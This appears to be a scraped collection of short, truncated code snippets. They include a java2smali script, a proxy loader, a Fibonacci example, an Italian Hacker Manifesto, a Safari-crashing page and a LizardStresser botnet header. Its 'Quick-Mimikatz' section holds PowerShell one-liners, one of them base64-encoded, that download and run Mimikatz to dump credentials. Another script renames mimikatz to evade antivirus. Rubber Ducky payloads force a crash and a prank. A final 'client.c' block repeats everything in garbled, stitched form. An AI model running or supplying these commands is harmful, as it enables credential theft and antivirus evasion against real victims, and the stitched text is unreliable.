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## java2smali.sh
#!/bin/sh

set -e

JAVA_HOME='/Applications/Android Studio.app/Contents/jre/jdk/Contents/Home'
cd /tmp

cat > input_tmp.java <<EOF
public class input_tmp {
    public static void main(String[] args) {

## m.js
var libUrl = null;
var scriptTag = Array.prototype.slice
  .call(document.getElementsByTagName("script"))
  .filter(x => /\?proxy?/.test(x.src));
if (scriptTag.length > 0) {
  libUrl = scriptTag[0].src.split("m.js")[0];
} else {
  throw new Error("missing '?proxy' query parameter in your proxy url!");
}

## Quick-Mimikatz
*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

#encoded-mimikatz
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

#mimikittenz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master

## Easy Fibonacci Sequence Calculator
a,b=0,1
while(b < WRITE THE MAXIMUM NUMBER OF THE SEQUENCE):
    print(b)
    a,b=b,a+b


### EXAMPLE, CALCULATE THE SEQUENCE UP TO NUMBER 1000000 ###

a,b=0,1
while(b < 1000000):

## mimikatz_obfuscator.sh
# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ...,
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/windows
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'

## Blue Screener
REM Title: BlueScreener
REM Note: Cheap and easy way to force a kernel panic (BSoD) in Windows
DELAY 4000
CONTROL ESCAPE
DELAY 200
STRING powershell
CTRL-SHIFT ENTER
DELAY 1500
ALT y
DELAY 600

## Payload OSX Ascii Prank
DELAY 1000
GUI SPACE
STRING terminal
DELAY 1000
ENTER
DELAY 250
STRING say fuck off asshole
ENTER
GUI N
DELAY 250

## The Hacker Manifesto ITA
Questa è una traduzione in italiano del celebre Hacker Manifesto. Tutte quelle
esistenti contengono grossolani errori, perlopiù dovuti ad una carente
comprensione della materia e del periodo, o in ogni caso sono poco fedeli al
contenuto e allo spirito dell'originale. Mi auguro che questa mia traduzione non
soffra degli stessi problemi. Sail strong.
                                                                  -- FiloSottile

                                     ****

Da: Phrack, Volume Uno, Issue 7, Phile 3 of 10

## safari-reaper.html
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <style>
        body {
            background: repeat url('data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/7QCIUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAGscAVoAAxslRxwCAAACAAAcAnQAV8KpIENoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbGQgLSBodHRwOi8vd3d3LnJlZGJ1YmJsZS5jb20vcGVvcGxlL0NoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbAD/4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAADTAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD+AAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJDAAAEPAAACAxnVFJDAAAEPAAACAxiVFJDAAAEPAAACAx0ZXh0AAAAAENvcHlyaWdodCAoYykgMTk5OCBIZXdsZXR0LVBhY2thcmQgQ29tcGFueQAAZGVzYwAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAA

## client.c
/*
  Chippy1337 and @packetprophet present:
  LizardStresser rekt
  This is the cross compiled bot

  LICENSE AGREEMENT:
    If you lulz'd, you must sent BTC to
    1N4MxbXsooU9aMU41NPrSbgZKpJjtwsnar

  Death to skids
	#!/bin/sh

	set -e

	JAVA_HOME='/Applications/Android Studio.app/Contents/jre/jdk/Contents/Home'
	cd /tmp

	cat > input_tmp.java <<EOF
	public class input_tmp {
	public static void main(String[] args) {
	var libUrl = null;
	var scriptTag = Array.prototype.slice
	.call(document.getElementsByTagName("script"))
	.filter(x => /\?proxy?/.test(x.src));
	if (scriptTag.length > 0) {
	libUrl = scriptTag[0].src.split("m.js")[0];
	} else {
	throw new Error("missing '?proxy' query parameter in your proxy url!");
	}
	NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!

	#mimikatz
	IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

	#encoded-mimikatz
	powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

	#mimikittenz
	IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master
	a,b=0,1
	while(b < WRITE THE MAXIMUM NUMBER OF THE SEQUENCE):
	print(b)
	a,b=b,a+b


	### EXAMPLE, CALCULATE THE SEQUENCE UP TO NUMBER 1000000 ###

	a,b=0,1
	while(b < 1000000):
	# This script downloads and slightly "obfuscates" the mimikatz project.
	# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ...,
	# so removing them from the project before compiling gets us past most of the AV solutions.
	# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
	# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

	git clone https://github.com/gentilkiwi/mimikatz.git windows
	mv windows/mimikatz windows/windows
	find windows/ -type f -print0 \| xargs -0 sed -i 's/mimikatz/windows/g'
	find windows/ -type f -print0 \| xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'
	REM Title: BlueScreener
	REM Note: Cheap and easy way to force a kernel panic (BSoD) in Windows
	DELAY 4000
	CONTROL ESCAPE
	DELAY 200
	STRING powershell
	CTRL-SHIFT ENTER
	DELAY 1500
	ALT y
	DELAY 600
	DELAY 1000
	GUI SPACE
	STRING terminal
	DELAY 1000
	ENTER
	DELAY 250
	STRING say fuck off asshole
	ENTER
	GUI N
	DELAY 250
	Questa è una traduzione in italiano del celebre Hacker Manifesto. Tutte quelle
	esistenti contengono grossolani errori, perlopiù dovuti ad una carente
	comprensione della materia e del periodo, o in ogni caso sono poco fedeli al
	contenuto e allo spirito dell'originale. Mi auguro che questa mia traduzione non
	soffra degli stessi problemi. Sail strong.
	-- FiloSottile

	****

	Da: Phrack, Volume Uno, Issue 7, Phile 3 of 10
	<!DOCTYPE html>
	<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<style>
	body {
	background: repeat url('data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/7QCIUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAGscAVoAAxslRxwCAAACAAAcAnQAV8KpIENoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbGQgLSBodHRwOi8vd3d3LnJlZGJ1YmJsZS5jb20vcGVvcGxlL0NoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbAD/4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAADTAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD+AAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJDAAAEPAAACAxnVFJDAAAEPAAACAxiVFJDAAAEPAAACAx0ZXh0AAAAAENvcHlyaWdodCAoYykgMTk5OCBIZXdsZXR0LVBhY2thcmQgQ29tcGFueQAAZGVzYwAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAA
	/*
	Chippy1337 and @packetprophet present:
	LizardStresser rekt
	This is the cross compiled bot

	LICENSE AGREEMENT:
	If you lulz'd, you must sent BTC to
	1N4MxbXsooU9aMU41NPrSbgZKpJjtwsnar

	Death to skids